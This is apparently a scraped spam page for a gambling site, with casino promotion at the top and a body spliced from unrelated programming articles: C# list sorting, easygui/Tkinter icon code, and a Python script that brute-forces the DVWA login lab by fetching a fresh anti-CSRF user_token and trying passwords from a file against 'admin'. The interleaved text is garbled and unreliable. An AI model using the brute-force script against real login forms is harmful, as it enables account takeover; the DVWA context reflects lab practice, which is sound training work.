金沙国际官网_金沙国际平台登录

因为这个金沙国际官网_金沙国际平台登录网站与很多的大型澳门赌场都有合作,金沙国际官网_金沙国际平台登录尽职尽责,高效执行,保持好奇心,不断学习,追求卓越,点击进入金沙国际官网_金沙国际平台登录马上体验吧,所以现在也正式地开始了营业。

您的位置:金沙国际官网 > 编程 > 排序各种用法与比较,验证的表单请求

排序各种用法与比较,验证的表单请求

发布时间:2019-11-05 07:25编辑:编程浏览(98)

    图片 1图片 2

    先上一个不修改的样式,如下:

     

    在该模块中增加了一个隐藏的字段 user_token 来防止暴力破解,每当访问该页面都会生成一个新的 token 值。提交请求必须携带该值而且每个值只能使用一次,此处便无法直接使用 burp 进行简单的穷举,可以写一个 python 脚本来进行爆破。

    import easygui as g
    
    g.msgbox("hello","hi")
    

    下面介绍各种List的sort的用法与比较

     爆破程序如下:

     

    首先,我们建一个People的实体,有name、age、sex的属性,我们要排序的字段是年龄age

     1 from lxml import etree
     2 import requests
     3 
     4 
     5 def sendRquest(username, password):
     6     # 构造请求头
     7     headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:50.0) Gecko/20100101'}
     8     cookies = {
     9         'csrftoken': 'Agc1Hwcy4qrwOClBfzTrrlkh2R1pnRCtNxvDX24geS7lSOyEEzfPDE4R1evXsXqR',
    10         'PHPSESSID': '29daa35c77875e7c9513e8c88cee0493',
    11         'security': 'high',
    12     }
    13 
    14     # 获取 user_token 值
    15     url = 'http://127.0.0.1/vulnerabilities/brute/'
    16     response = requests.get(url=url, cookies=cookies, headers=headers)
    17     html = etree.HTML(response.text)
    18     user_token = html.xpath('//form/input[@name="user_token"]/@value')[0]
    19 
    20     # 重新构造 url
    21     url = 'http://127.0.0.1/vulnerabilities/brute/?username=' + username + '&password=' + password + '&Login=Login&user_token=' + user_token
    22     response = requests.get(url=url, cookies=cookies, headers=headers)
    23 
    24     # 判断是否爆破成功
    25     if "Username and/or password incorrect." not in response.text:
    26         print('成功:', username, password)
    27         exit()
    28     else:
    29         print('失败:', username, password)
    30 
    31 
    32 def main():
    33     with open('/Users/zhenghuajing/Desktop/password.txt', 'r') as file:
    34         for line in file.readlines():
    35             sendRquest('admin', line.strip('n'))
    36 
    37 
    38 if __name__ == '__main__':
    39     main()
    

    注意左上角的图标为红色的Tk字样

    新建一个实体类

    程序执行效果如下:

     图片 3

        public class People
        {
            public string name { get; set; }
            public int age { get; set; }
            public string sex { get; set; }
        }
    

    图片 4

     

    新建list的数据

    修改后:

                List<People> peoples = new List<People>()
                {
                    new People() {age = 11, name="alun", sex = "男"},
                    new People() {age=25, name = "陈敬桃", sex = "男"},
                    new People() {age=9, name = "惠安", sex = "男"},
                    new People() {age = 45, name = "小票", sex = "女"},
                    new People() {age=3, name = "晓鸥", sex = "女"},
                    new People() {age=70, name = "望谟", sex = "男"}
                };
    
    import easygui as g
    from Tkinter import *
    tk = Tk()
    
    tk.iconbitmap(default = r'C:UsersxxooDownloadsbitbug_favicon.ico')
    
    g.msgbox("hello","hi")
    

     

    本文由金沙国际官网发布于编程,转载请注明出处:排序各种用法与比较,验证的表单请求

    关键词:

上一篇:图片缩放的相关处理

下一篇:没有了